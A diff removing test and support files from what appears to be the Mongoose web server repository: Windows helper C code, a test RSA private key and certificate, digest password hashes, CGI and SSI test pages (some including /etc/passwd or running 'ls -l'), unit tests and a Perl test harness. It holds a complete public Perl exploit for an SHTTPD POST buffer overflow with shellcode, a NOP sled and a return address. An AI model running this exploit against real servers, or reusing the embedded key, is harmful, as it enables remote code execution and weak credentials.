DWORD attrs;
if (name == NULL) {
SetLastError(ERROR_BAD_ARGUMENTS);
} else if ((dir = (DIR *) malloc(sizeof(*dir))) == NULL) {
SetLastError(ERROR_NOT_ENOUGH_MEMORY);
} else {
to_unicode(name, wpath, ARRAY_SIZE(wpath));
attrs = GetFileAttributesW(wpath);
if (attrs != 0xFFFFFFFF &&
((attrs & FILE_ATTRIBUTE_DIRECTORY) == FILE_ATTRIBUTE_DIRECTORY)) {
(void) wcscat(wpath, L"\\*");
dir->handle = FindFirstFileW(wpath, &dir->info);
dir->result.d_name[0] = '\0';
} else {
free(dir);
dir = NULL;
}
}
return dir;
}
static int closedir(DIR *dir) {
int result = 0;
if (dir != NULL) {
if (dir->handle != INVALID_HANDLE_VALUE)
result = FindClose(dir->handle) ? 0 : -1;
free(dir);
} else {
result = -1;
SetLastError(ERROR_BAD_ARGUMENTS);
}
return result;
}
static struct dirent *readdir(DIR *dir) {
struct dirent *result = 0;
if (dir) {
if (dir->handle != INVALID_HANDLE_VALUE) {
result = &dir->result;
(void) WideCharToMultiByte(CP_UTF8, 0,
dir->info.cFileName, -1, result->d_name,
sizeof(result->d_name), NULL, NULL);
if (!FindNextFileW(dir->handle, &dir->info)) {
(void) FindClose(dir->handle);
dir->handle = INVALID_HANDLE_VALUE;
}
} else {
SetLastError(ERROR_FILE_NOT_FOUND);
}
} else {
SetLastError(ERROR_BAD_ARGUMENTS);
}
return result;
}
#ifndef HAVE_POLL
static int poll(struct pollfd *pfd, int n, int milliseconds) {
struct timeval tv;
fd_set set;
int i, result;
SOCKET maxfd = 0;
tv.tv_sec = milliseconds / 1000;
tv.tv_usec = (milliseconds % 1000) * 1000;
FD_ZERO(&set);
for (i = 0; i < n; i++) {
FD_SET((SOCKET) pfd[i].fd, &set);
pfd[i].revents = 0;
if (pfd[i].fd > maxfd) {
maxfd = pfd[i].fd;
}
}
if ((result = select(maxfd + 1, &set, NULL, NULL, &tv)) > 0) {
for (i = 0; i < n; i++) {
if (FD_ISSET(pfd[i].fd, &set)) {
pfd[i].revents = POLLIN;
}
}
}
return result;
}
#endif // HAVE_POLL
static void set_close_on_exec(SOCKET sock) {
(void) SetHandleInformation((HANDLE) sock, HANDLE_FLAG_INHERIT, 0);
}
int mg_start_thread(mg_thread_func_t f, void *p) {
return (long)_beginthread((void (__cdecl *)(void *)) f, 0, p) == -1L ? -1 : 0;
}
static HANDLE dlopen(const char *dll_name, int flags) {
wchar_t wbuf[PATH_MAX];
(void) flags;
to_unicode(dll_name, wbuf, ARRAY_SIZE(wbuf));
return LoadLibraryW(wbuf);
}
#if !defined(NO_CGI)
#define SIGKILL 0
static int kill(pid_t pid, int sig_num) {
(void) TerminateProcess(pid, sig_num);
(void) CloseHandle(pid);
return 0;
}
static void trim_trailing_whitespaces(char *s) {
char *e = s + strlen(s) - 1;
while (e > s && isspace(* (unsigned char *) e)) {
*e-- = '\0';
}
}
static pid_t spawn_process(struct mg_connection *conn, const char *prog,
char *envblk, char *envp[], int fdin,
int fdout, const char *dir) {
HANDLE me;
char *interp, full_interp[PATH_MAX], full_dir[PATH_MAX],
cmdline[PATH_MAX], buf[PATH_MAX];
FILE *fp;
STARTUPINFOA si;
PROCESS_INFORMATION pi = { 0 };
(void) envp;
memset(&si, 0, sizeof(si));
si.cb = sizeof(si);
// TODO(lsm): redirect CGI errors to the error log file
si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE;
me = GetCurrentProcess();
DuplicateHandle(me, (HANDLE) _get_osfhandle(fdin), me,
&si.hStdInput, 0, TRUE, DUPLICATE_SAME_ACCESS);
DuplicateHandle(me, (HANDLE) _get_osfhandle(fdout), me,
&si.hStdOutput, 0, TRUE, DUPLICATE_SAME_ACCESS);
// If CGI file is a script, try to read the interpreter line
interp = conn->ctx->config[CGI_INTERPRETER];
if (interp == NULL) {
buf[0] = buf[1] = '\0';
// Read the first line of the script into the buffer
snprintf(cmdline, sizeof(cmdline), "%s%c%s", dir, '/', prog);
if ((fp = mg_fopen(cmdline, "r")) != NULL) {
fgets(buf, sizeof(buf), fp);
fclose(fp);
buf[sizeof(buf) - 1] = '\0';
}
if (buf[0] == '#' && buf[1] == '!') {
trim_trailing_whitespaces(buf + 2);
} else {
buf[2] = '\0';
}
interp = buf + 2;
}
if (interp[0] != '\0') {
GetFullPathNameA(interp, sizeof(full_interp), full_interp, NULL);
interp = full_interp;
}
GetFullPathNameA(dir, sizeof(full_dir), full_dir, NULL);
mg_snprintf(cmdline, sizeof(cmdline), "%s%s\"%s\\%s\"",
interp, interp[0] == '\0' ? "" : " ", full_dir, prog);
DEBUG_TRACE(("Running [%s]", cmdline));
if (CreateProcessA(NULL, cmdline, NULL, NULL, TRUE,
CREATE_NEW_PROCESS_GROUP, envblk, NULL, &si, &pi) == 0) {
cry(conn, "%s: CreateProcess(%s): %ld",
__func__, cmdline, ERRNO);
pi.hProcess = (pid_t) -1;
}
(void) CloseHandle(si.hStdOutput);
(void) CloseHandle(si.hStdInput);
(void) CloseHandle(pi.hThread);
return (pid_t) pi.hProcess;
}
#endif // !NO_CGI
static int set_non_blocking_mode(SOCKET sock) {
unsigned long on = 1;
return ioctlsocket(sock, FIONBIO, &on);
}
#endif
-50
View File
@@ -1,50 +0,0 @@
-----BEGIN RSA PRIVATE KEY-----
MIIEogIBAAKCAQEAwONaLOP7EdegqjRuQKSDXzvHmFMZfBufjhELhNjo5KsL4ieH
hMSGCcSV6y32hzhqR5lvTViaQez+xhc58NZRu+OUgEhodRBW/vAOjpz/xdMz5HaC
EhP3E9W1pkitVseS8B5rrgJo1BfCGai1fPav1nutPq2Kj7vMy24+g460Lonf6ln1
di4aTIRtAqXtUU6RFpPJP35PkCXbTK65O8HJSxxt/XtfoezHCU5+UIwmZGYx46UB
Wzg3IfK6bGPSiHU3pdiTol0uMPt/GUK+x4NyZJ4/ImsNAicRwMBdja4ywHKXJehH
gXBthsVIHbL21x+4ibsg9eVM/XioTV6tW3IrdwIDAQABAoIBACFfdLutmkQFBcRN
HAJNNHmmsyr0vcUOVnXTFyYeDXV67qxrYHQlOHe6LqIpKq1Mon7O2kYMnWvooFAP
trOnsS6L+qaTYJdYg2TKjgo4ubw1hZXytyB/mdExuaMSkgMgtpia+tB5lD+V+LxN
x1DesZ+veFMO3Zluyckswt4qM5yVa04YFrt31H0E1rJfIen61lidXIKYmHHWuRxK
SadjFfbcqJ6P9ZF22BOkleg5Fm5NaxJmyQynOWaAkSZa5w1XySFfRjRfsbDr64G6
+LSG8YtRuvfxnvUNhynVPHcpE40eiPo6v8Ho6yZKXpV5klCKciodXAORsswSoGJa
N3nnu/ECgYEA6Yb2rM3QUEPIALdL8f/OzZ1GBSdiQB2WSAxzl9pR/dLF2H+0pitS
to0830mk92ppVmRVD3JGxYDRZQ56tlFXyGaCzJBMRIcsotAhBoNbjV0i9n5bLJYf
BmjU9yvWcgsTt0tr3B0FrtYyp2tCvwHqlxvFpFdUCj2oRw2uGpkhmNkCgYEA03M6
WxFhsix3y6eVCVvShfbLBSOqp8l0qiTEty+dgVQcWN4CO/5eyaZXKxlCG9KMmKxy
Yx+YgxZrDhfaZ0cxhHGPRKEAxM3IKwT2C8/wCaSiLWXZZpTifnSD99vtOt4wEfrG
+AghNd5kamFiM9tU0AyvhJc2vdJFuXrfeC7ntM8CgYBGDA+t4cZcbRhu7ow/OKYF
kulP3nJgHP/Y+LMrl3cEldZ2jEfZmCElVNQvfd2XwTl7injhOzvzPiKRF3jDez7D
g8w0JAxceddvttJRK9GoY4l7OoeKpjUELSnEQkf+yUfOsTbXPXVY7jMfeNL6jE6b
qN7t3qv8rmXtejMBE3G6cQKBgGR5W2BMiRSlxqKx1cKlrApV87BUe1HRCyuR3xuA
d6Item7Lx1oEi7vb242yKdSYnpApWQ06xTh83Y/Ly87JaIEbiM0+h+P8OEIg0F1a
iB+86AcUX1I8KseVy+Np0HbpfwP8GrFfA5DaRPK7pXMopEtby8cAJ1XZZaI1/ZvZ
BebHAoGAcQU9WvCkT+nIp9FpXfBybYUsvgkaizMIqp66/l3GYgYAq8p1VLGvN4v5
ec0dW58SJrCpqsM3NP78DtEzQf9OOsk+FsjBFzDU2RkeUreyt2/nQBj/2mN/+hEy
hYN0Zii2yTb63jGxKY6gH1R/r9dL8kXaJmcZrfSa3AgywnteJWg=
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIDBjCCAe4CCQCX05m0b053QzANBgkqhkiG9w0BAQQFADBFMQswCQYDVQQGEwJB
VTETMBEGA1UECBMKU29tZS1TdGF0ZTEhMB8GA1UEChMYSW50ZXJuZXQgV2lkZ2l0
cyBQdHkgTHRkMB4XDTA4MTIwNzEwMjUyMloXDTE4MTIwNTEwMjUyMlowRTELMAkG
A1UEBhMCQVUxEzARBgNVBAgTClNvbWUtU3RhdGUxITAfBgNVBAoTGEludGVybmV0
IFdpZGdpdHMgUHR5IEx0ZDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
AMDjWizj+xHXoKo0bkCkg187x5hTGXwbn44RC4TY6OSrC+Inh4TEhgnElest9oc4
akeZb01YmkHs/sYXOfDWUbvjlIBIaHUQVv7wDo6c/8XTM+R2ghIT9xPVtaZIrVbH
kvAea64CaNQXwhmotXz2r9Z7rT6tio+7zMtuPoOOtC6J3+pZ9XYuGkyEbQKl7VFO
kRaTyT9+T5Al20yuuTvByUscbf17X6HsxwlOflCMJmRmMeOlAVs4NyHyumxj0oh1
N6XYk6JdLjD7fxlCvseDcmSePyJrDQInEcDAXY2uMsBylyXoR4FwbYbFSB2y9tcf
uIm7IPXlTP14qE1erVtyK3cCAwEAATANBgkqhkiG9w0BAQQFAAOCAQEAW4yZdqpB
oIdiuXRosr86Sg9FiMg/cn+2OwQ0QIaA8ZBwKsc+wIIHEgXCS8J6316BGQeUvMD+
plNe0r4GWzzmlDMdobeQ5arPRB89qd9skE6pAMdLg3FyyfEjz3A0VpskolW5VBMr
P5R7uJ1FLgH12RyAjZCWYcCRqEMOffqvyMCH6oAjyDmQOA5IssRKX/HsHntSH/HW
W7slTcP45ty1b44Nq22/ubYk0CJRQgqKOIQ3cLgPomN1jNFQbAbfVTaK1DpEysrQ
5V8a8gNW+3sVZmV6d1Mj3pN2Le62wUKuV2g6BNU7iiwcoY8HI68aRxz2hVMS+t5f
SEGI4JSxV56lYg==
-----END CERTIFICATE-----
-----BEGIN DH PARAMETERS-----
MEYCQQD+ef8hZ4XbdoyIpJyCTF2UrUEfX6mYDvxuS5O1UNYcslUqlj6JkA11e/yS
6DK8Z86W6mSj5CEk4IjbyEOECXH7AgEC
-----END DH PARAMETERS-----
BIN
View File
Binary file not shown.

Before

Width:  |  Height:  |  Size: 17 KiB

-1
View File
@@ -1 +0,0 @@
abc123
-28
View File
@@ -1,28 +0,0 @@
#!/usr/bin/env perl
@flags = ("NO_POPEN", "NO_SSL", "NDEBUG", "DEBUG", "NO_CGI");
my $num_flags = @flags;
sub fail {
print "FAILED: @_\n";
exit 1;
}
my $platform = $ARGV[0] || "linux";
for (my $i = 0; $i < 2 ** $num_flags; $i++) {
my $bitmask = sprintf("%*.*b", $num_flags, $num_flags, $i);
my @combination = ();
for (my $j = 0; $j < $num_flags; $j++) {
push @combination, $flags[$j] if substr($bitmask, $j, 1);
}
my $defines = join(" ", map { "-D$_" } @combination);
my $cmd = "CFLAGS=\"$defines\" make clean $platform >/dev/null";
system($cmd) == 0 or fail "build failed: $_";
print "Build succeeded, flags: [$defines]\n";
system("perl test/test.pl basic_tests >/dev/null") == 0
or fail "basic tests";
print "Basic tests: OK\n";
}
print "PASS: All builds passed!\n";
-5
View File
@@ -1,5 +0,0 @@
#!/bin/sh
echo "echoing bad headers: server must report status 500"
exec 1>&2
echo shit!!!
-3
View File
@@ -1,3 +0,0 @@
#!/usr/bin/env perl
print "Status: 302 Please pass me to the client\r\n\r\n";
-3
View File
@@ -1,3 +0,0 @@
#!/usr/bin/env perl
print "Content-Type: text/plain\n\nhello\n";
@@ -1 +0,0 @@
куку!
-182
View File
@@ -1,182 +0,0 @@
// Copyright (c) 2004-2009 Sergey Lyubka
//
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to deal
// in the Software without restriction, including without limitation the rights
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
// copies of the Software, and to permit persons to whom the Software is
// furnished to do so, subject to the following conditions:
//
// The above copyright notice and this permission notice shall be included in
// all copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
// THE SOFTWARE.
//
// Unit test for the mongoose web server. Tests embedded API.
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#ifndef _WIN32
#include <unistd.h>
#endif
#include "mongoose.h"
#if !defined(LISTENING_PORT)
#define LISTENING_PORT "23456"
#endif
static const char *standard_reply = "HTTP/1.1 200 OK\r\n"
"Content-Type: text/plain\r\n"
"Connection: close\r\n\r\n";
static void test_get_var(struct mg_connection *conn,
const struct mg_request_info *ri) {
char *var, *buf;
size_t buf_len;
const char *cl;
int var_len;
mg_printf(conn, "%s", standard_reply);
buf_len = 0;
var = buf = NULL;
cl = mg_get_header(conn, "Content-Length");
mg_printf(conn, "cl: %p\n", cl);
if ((!strcmp(ri->request_method, "POST") ||
!strcmp(ri->request_method, "PUT"))
&& cl != NULL) {
buf_len = atoi(cl);
buf = malloc(buf_len);
/* Read in two pieces, to test continuation */
if (buf_len > 2) {
mg_read(conn, buf, 2);
mg_read(conn, buf + 2, buf_len - 2);
} else {
mg_read(conn, buf, buf_len);
}
} else if (ri->query_string != NULL) {
buf_len = strlen(ri->query_string);
buf = malloc(buf_len + 1);
strcpy(buf, ri->query_string);
}
var = malloc(buf_len + 1);
var_len = mg_get_var(buf, buf_len, "my_var", var, buf_len + 1);
mg_printf(conn, "Value: [%s]\n", var);
mg_printf(conn, "Value size: [%d]\n", var_len);
free(buf);
free(var);
}
static void test_get_header(struct mg_connection *conn,
const struct mg_request_info *ri) {
const char *value;
int i;
mg_printf(conn, "%s", standard_reply);
printf("HTTP headers: %d\n", ri->num_headers);
for (i = 0; i < ri->num_headers; i++) {
printf("[%s]: [%s]\n", ri->http_headers[i].name, ri->http_headers[i].value);
}
value = mg_get_header(conn, "Host");
if (value != NULL) {
mg_printf(conn, "Value: [%s]", value);
}
}
static void test_get_request_info(struct mg_connection *conn,
const struct mg_request_info *ri) {
int i;
mg_printf(conn, "%s", standard_reply);
mg_printf(conn, "Method: [%s]\n", ri->request_method);
mg_printf(conn, "URI: [%s]\n", ri->uri);
mg_printf(conn, "HTTP version: [%s]\n", ri->http_version);
for (i = 0; i < ri->num_headers; i++) {
mg_printf(conn, "HTTP header [%s]: [%s]\n",
ri->http_headers[i].name,
ri->http_headers[i].value);
}
mg_printf(conn, "Query string: [%s]\n",
ri->query_string ? ri->query_string: "");
mg_printf(conn, "Remote IP: [%lu]\n", ri->remote_ip);
mg_printf(conn, "Remote port: [%d]\n", ri->remote_port);
mg_printf(conn, "Remote user: [%s]\n",
ri->remote_user ? ri->remote_user : "");
}
static void test_error(struct mg_connection *conn,
const struct mg_request_info *ri) {
int status = (int) ri->ev_data;
mg_printf(conn, "HTTP/1.1 %d XX\r\n"
"Conntection: close\r\n\r\n", status);
mg_printf(conn, "Error: [%d]", status);
}
static void test_post(struct mg_connection *conn,
const struct mg_request_info *ri) {
const char *cl;
char *buf;
int len;
mg_printf(conn, "%s", standard_reply);
if (strcmp(ri->request_method, "POST") == 0 &&
(cl = mg_get_header(conn, "Content-Length")) != NULL) {
len = atoi(cl);
if ((buf = malloc(len)) != NULL) {
mg_write(conn, buf, len);
free(buf);
}
}
}
static const struct test_config {
enum mg_event event;
const char *uri;
void (*func)(struct mg_connection *, const struct mg_request_info *);
} test_config[] = {
{MG_NEW_REQUEST, "/test_get_header", &test_get_header},
{MG_NEW_REQUEST, "/test_get_var", &test_get_var},
{MG_NEW_REQUEST, "/test_get_request_info", &test_get_request_info},
{MG_NEW_REQUEST, "/test_post", &test_post},
{MG_HTTP_ERROR, "", &test_error},
{0, NULL, NULL}
};
static void *callback(enum mg_event event,
struct mg_connection *conn) {
const struct mg_request_info *request_info = mg_get_request_info(conn);
int i;
for (i = 0; test_config[i].uri != NULL; i++) {
if (event == test_config[i].event &&
(event == MG_HTTP_ERROR ||
!strcmp(request_info->uri, test_config[i].uri))) {
test_config[i].func(conn, request_info);
return "processed";
}
}
return NULL;
}
int main(void) {
struct mg_context *ctx;
const char *options[] = {"listening_ports", LISTENING_PORT, NULL};
ctx = mg_start(callback, NULL, options);
pause();
return 0;
}
-46
View File
@@ -1,46 +0,0 @@
#!/usr/bin/env perl
use Cwd;
use CGI;
use vars '%in';
CGI::ReadParse();
print "Content-Type: text/html\r\n\r\n";
print "<pre>\n";
foreach my $key (sort keys %ENV) {
print "$key=$ENV{$key}\n";
}
print "\n";
foreach my $key (sort keys %in) {
print "$key=$in{$key}\n";
}
print "\n";
print 'CURRENT_DIR=' . getcwd() . "\n";
print "</pre>\n";
my $stuff = <<EOP ;
<script language="javascript">
function set_val() {
}
</script>
<form method=get>
<input type=hidden name=a>
<input type=text name=_a onChange="javascript: this.form.a.value=this.value;">
<input type=submit value=get>
</form>
<form method=post>
<input type=text name=b>
<input type=submit value=post>
</form>
EOP
#system('some shit');
print $stuff;
-69
View File
@@ -1,69 +0,0 @@
#!/usr/bin/perl -w
# SHTTPD Buffer Overflow (POST)
# Tested on SHTTPD 1.34 WinXP SP1 Hebrew
# http://shttpd.sourceforge.net
# Codded By SkOd, 05/10/2006
# ISRAEL
#
# details:
# EAX 00000194 , ECX 009EBCA8 , EDX 00BC488C
# EBX 00000004 , EIP 41414141 , EBP 41414141
# ESI 00BC4358 , EDI 00BCC3CC ASCII "POST"
# ESP 009EFC08 ASCII 41,"AA...AAA"
use IO::Socket;
sub fail(){
syswrite STDOUT, "[-]Connect failed.\n";
exit;
}
sub header()
{
print("##################################\n");
print("SHTTPD (POST) Buffer Overflow.\n");
print("[http://shttpd.sourceforge.net]\n");
print("Codded By SkOd, 05/10/2006\n");
print("##################################\n");
}
if (@ARGV < 1)
{
&header();
print("Usage: Perl shttpd.pl [host]\n");
exit;
}
&header();
$host=$ARGV[0];
$port="80";
$host=~ s/(http:\/\/)//eg;
#win32_exec- CMD=calc Size=160 (metasploit.com)
$shell =
"%33%c9%83%e9%de%d9%ee%d9%74%24%f4%5b%81%73%13%52".
"%ca%2b%e0%83%eb%fc%e2%f4%ae%22%6f%e0%52%ca%a0%a5".
"%6e%41%57%e5%2a%cb%c4%6b%1d%d2%a0%bf%72%cb%c0%a9".
"%d9%fe%a0%e1%bc%fb%eb%79%fe%4e%eb%94%55%0b%e1%ed".
"%53%08%c0%14%69%9e%0f%e4%27%2f%a0%bf%76%cb%c0%86".
"%d9%c6%60%6b%0d%d6%2a%0b%d9%d6%a0%e1%b9%43%77%c4".
"%56%09%1a%20%36%41%6b%d0%d7%0a%53%ec%d9%8a%27%6b".
"%22%d6%86%6b%3a%c2%c0%e9%d9%4a%9b%e0%52%ca%a0%88".
"%0d%a2%b3%1e%d8%c4%7c%1f%b5%a9%4a%8c%31%ca%2b%e0";
$esp="%73%C3%2A%4F"; #[4F2AC373]JMP ESP (kernel32.dll) WinXP SP1(Hebrew)
$buff=("%41"x8).$esp.("%90"x85).$shell; #Shellcode+NOP=245
print length($buff) . "\n";
$sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "$port") || &fail();
syswrite STDOUT,"[+]Connected.\n";
print $sock "POST /$buff HTTP/1.1\n";
print $sock "HOST:$host\n\n";
syswrite STDOUT,"[+]Done.\n";
close($sock);
# milw0rm.com [2006-10-05]
-6
View File
@@ -1,6 +0,0 @@
#!/bin/sh
echo "Content-Type: text/plain"
echo
echo $QUERY_STRING
-1
View File
@@ -1 +0,0 @@
simple text file
-43
View File
@@ -1,43 +0,0 @@
mg.write('HTTP/1.0 200 OK\r\n', 'Content-Type: text/plain\r\n', '\r\n')
mg.write(os.date("%A"))
-- for k,v in pairs(_G) do mg.write(k, '\n') end
-- Open database
local db = sqlite3.open('requests.db')
-- Setup a trace callback, to show SQL statements we'll be executing.
-- db:trace(function(data, sql) mg.write('Executing: ', sql: '\n') end, nil)
-- Create a table if it is not created already
db:exec([[
CREATE TABLE IF NOT EXISTS requests (
id INTEGER PRIMARY KEY AUTOINCREMENT,
timestamp NOT NULL,
method NOT NULL,
uri NOT NULL,
addr
);
]])
-- Add entry about this request
local stmt = db:prepare(
'INSERT INTO requests VALUES(NULL, datetime("now"), ?, ?, ?);');
stmt:bind_values(mg.request_info.request_method,
mg.request_info.uri,
mg.request_info.remote_port)
stmt:step()
stmt:finalize()
-- Show all previous records
mg.write('Previous requests:\n')
stmt = db:prepare('SELECT * FROM requests ORDER BY id DESC;')
while stmt:step() == sqlite3.ROW do
local v = stmt:get_values()
mg.write(v[1] .. ' ' .. v[2] .. ' ' .. v[3] .. ' '
.. v[4] .. ' ' .. v[5] .. '\n')
end
-- Close database
db:close()
-67
View File
@@ -1,67 +0,0 @@
HTTP/1.0 200 OK
Content-Type: text/html
<html>
<head>
<meta http-equiv="Content-type" content="text/html;charset=UTF-8">
</head>
<body>
<p>This is an example Lua server page served by
<a href="http://code.google.com/p/mongoose">Mongoose web server</a>.
Mongoose has Lua, Sqlite, and other functionality built in the binary.
This example page stores the request in the Sqlite database, and shows
all requests done previously.</p>
<p> Today is <? mg.write(os.date("%A")) ?>
<pre>
<?
-- for k,v in pairs(_G) do mg.write(k, '\n') end
-- Open database
local db = sqlite3.open('requests.db')
-- Setup a trace callback, to show SQL statements we'll be executing.
-- db:trace(function(data, sql) mg.write('Executing: ', sql: '\n') end, nil)
-- Create a table if it is not created already
db:exec('PRAGMA encoding="UTF-8"; ')
db:exec([[
CREATE TABLE IF NOT EXISTS requests (
id INTEGER PRIMARY KEY AUTOINCREMENT,
timestamp NOT NULL,
method NOT NULL,
uri NOT NULL,
addr
);
]])
-- Add entry about this request
local stmt = db:prepare(
'INSERT INTO requests VALUES(NULL, datetime("now"), ?, ?, ?);');
stmt:bind_values(mg.request_info.request_method,
mg.request_info.uri,
mg.request_info.remote_port)
stmt:step()
stmt:finalize()
-- Show all previous records
mg.write('Previous requests:\n')
stmt = db:prepare('SELECT * FROM requests ORDER BY id DESC;')
while stmt:step() == sqlite3.ROW do
local v = stmt:get_values()
mg.write(v[1] .. ' ' .. v[2] .. ' ' .. v[3] .. ' '
.. v[4] .. ' ' .. v[5] .. '\n')
end
-- Close database
db:close()
?>
</pre>
This is an example on how to include files a-la SSI:
<pre><? mg.write(io.open('dll.def'):read('*all')) ?></pre>
</body></html>
-3
View File
@@ -1,3 +0,0 @@
guest:mydomain.com:485264dcc977a1925370b89d516a1477
Administrator:mydomain.com:e32daa3028eba04dc53e2d781e6fc983
-6
View File
@@ -1,6 +0,0 @@
#!/bin/sh
echo "Content-Type: text/plain"
echo
echo "This is shell script CGI."
-5
View File
@@ -1,5 +0,0 @@
<html><pre>
ssi_begin
<!--#include file="../Makefile" -->
ssi_end
</pre></html>
-5
View File
@@ -1,5 +0,0 @@
<html><pre>
ssi_begin
<!--#include virtual="embed.c" -->
ssi_end
</pre></html>
-5
View File
@@ -1,5 +0,0 @@
<html><pre>
ssi_begin
<!--#exec "ls -l" -->
ssi_end
</pre></html>
-5
View File
@@ -1,5 +0,0 @@
<html><pre>
ssi_begin
<!--#exec "dir /w" -->
ssi_end
</pre></html>
-5
View File
@@ -1,5 +0,0 @@
<html><pre>
ssi_begin
<!--#include abspath="/etc/passwd" -->
ssi_end
</pre></html>
-5
View File
@@ -1,5 +0,0 @@
<html><pre>
ssi_begin
<!--#include abspath="c:\boot.ini" -->
ssi_end
</pre></html>
-6
View File
@@ -1,6 +0,0 @@
<html><pre>
ssi_begin
<!--#include "unit_test.c" -->
ssi_end
</pre></html>
-1
View File
@@ -1 +0,0 @@
<!--#include "ssi9.shtml" -->
-3
View File
@@ -1,3 +0,0 @@
ssi_begin
<!--#include file="../Makefile" -->
ssi_end
-437
View File
@@ -1,437 +0,0 @@
#!/usr/bin/env perl
# This script is used to test Mongoose web server
# $Id: test.pl 516 2010-05-03 12:54:37Z valenok $
use IO::Socket;
use File::Path;
use File::Basename;
use Cwd;
use strict;
use warnings;
#use diagnostics;
sub on_windows { $^O =~ /win32/i; }
my $port = 31295;
my $pid = undef;
my $num_requests;
my $dir_separator = on_windows() ? '\\' : '/';
my $copy_cmd = on_windows() ? 'copy' : 'cp';
my $test_dir_uri = "test_dir";
my $root = './test';
my $abs_root = Cwd::abs_path(dirname($0) . $dir_separator);
my $test_dir = $abs_root . $dir_separator. $test_dir_uri;
#print "$test_dir\n"; exit 0;
my $config = 'mongoose.conf';
my $exe_ext = on_windows() ? '.exe' : '';
my $mongoose_exe = '.' . $dir_separator . 'mongoose' . $exe_ext;
my $embed_exe = '.' . $dir_separator . 'embed' . $exe_ext;
my $unit_test_exe = '.' . $dir_separator . 'unit_test' . $exe_ext;
my $exit_code = 0;
my @files_to_delete = ('debug.log', 'access.log', $config, "$root/a/put.txt",
"$root/a+.txt", "$root/.htpasswd", "$root/binary_file", "$root/a",
"$root/myperl", $embed_exe, $unit_test_exe);
END {
#system('cat access.log');
unlink @files_to_delete;
kill_spawned_child();
File::Path::rmtree($test_dir);
exit $exit_code;
}
sub fail {
print "FAILED: @_\n";
$exit_code = 1;
exit 1;
}
sub get_num_of_log_entries {
open FD, "access.log" or return 0;
my @lines = (<FD>);
close FD;
return scalar @lines;
}
# Send the request to the 127.0.0.1:$port and return the reply
sub req {
my ($request, $inc, $timeout) = @_;
my $sock = IO::Socket::INET->new(Proto => 6,
PeerAddr => '127.0.0.1', PeerPort => $port);
fail("Cannot connect to http://127.0.0.1:$port : $!") unless $sock;
$sock->autoflush(1);
foreach my $byte (split //, $request) {
last unless print $sock $byte;
select undef, undef, undef, .001 if length($request) < 256;
}
my ($out, $buf) = ('', '');
eval {
alarm $timeout if $timeout;
$out .= $buf while (sysread($sock, $buf, 1024) > 0);
alarm 0 if $timeout;
};
close $sock;
$num_requests += defined($inc) ? $inc : 1;
my $num_logs = get_num_of_log_entries();
unless ($num_requests == $num_logs) {
fail("Request has not been logged: [$request], output: [$out]");
}
return $out;
}
# Send the request. Compare with the expected reply. Fail if no match
sub o {
my ($request, $expected_reply, $message, $num_logs) = @_;
print "==> $message ... ";
my $reply = req($request, $num_logs);
if ($reply =~ /$expected_reply/s) {
print "OK\n";
} else {
#fail("Requested: [$request]\nExpected: [$expected_reply], got: [$reply]");
fail("Expected: [$expected_reply], got: [$reply]");
}
}
# Spawn a server listening on specified port
sub spawn {
my ($cmdline) = @_;
print 'Executing: ', @_, "\n";
if (on_windows()) {
my @args = split /\s+/, $cmdline;
my $executable = $args[0];
Win32::Spawn($executable, $cmdline, $pid);
die "Cannot spawn @_: $!" unless $pid;
} else {
unless ($pid = fork()) {
exec $cmdline;
die "cannot exec [$cmdline]: $!\n";
}
}
sleep 1;
}
sub write_file {
open FD, ">$_[0]" or fail "Cannot open $_[0]: $!";
binmode FD;
print FD $_[1];
close FD;
}
sub read_file {
open FD, $_[0] or fail "Cannot open $_[0]: $!";
my @lines = <FD>;
close FD;
return join '', @lines;
}
sub kill_spawned_child {
if (defined($pid)) {
kill(9, $pid);
waitpid($pid, 0);
}
}
####################################################### ENTRY POINT
unlink @files_to_delete;
$SIG{PIPE} = 'IGNORE';
$SIG{ALRM} = sub { die "timeout\n" };
#local $| =1;
# Make sure we export only symbols that start with "mg_", and keep local
# symbols static.
if ($^O =~ /darwin|bsd|linux/) {
my $out = `(cc -c mongoose.c && nm mongoose.o) | grep ' T '`;
foreach (split /\n/, $out) {
/T\s+_?mg_.+/ or fail("Exported symbol $_")
}
}
# Make sure we load config file if no options are given.
# Command line options override config files settings
write_file($config, "access_log_file access.log\n" .
"document_root $root\n" .
"listening_port 127.0.0.1:23164\n");
spawn("$mongoose_exe -listening_port 127.0.0.1:$port");
o("GET /hello.txt HTTP/1.0\n\n", 'HTTP/1.1 200 OK', 'Loading config file');
unlink $config;
kill_spawned_child();
# "-cgi_environment CGI_FOO=foo,CGI_BAR=bar,CGI_BAZ=baz " .
# "-enable_keep_alive yes ".
# Spawn the server on port $port
my $cmd = "$mongoose_exe ".
"-listening_port 127.0.0.1:$port ".
"-access_log_file access.log ".
"-extra_mime_types .bar=foo/bar,.tar.gz=blah,.baz=foo " .
"-dav_auth_file $abs_root/passfile " .
'-access_control_list -0.0.0.0/0,+127.0.0.1 ' .
"-document_root $root ".
"-hide_files_patterns **exploit.PL ".
"-url_rewrites /aiased=/etc/,/ta=$test_dir";
$cmd .= ' -cgi_interpreter perl' if on_windows();
spawn($cmd);
o("GET /dir%20with%20spaces/桌面/ HTTP/1.0\r\n\r\n", 'куку!',
'Non-ascii chars in path');
o("GET /hello.txt HTTP/1.1\nConnection: close\nRange: bytes=3-50\r\n\r\n",
'Content-Length: 15\s', 'Range past the file end');
o("GET /hello.txt HTTP/1.1\nContent-Length: 0\n\n ".
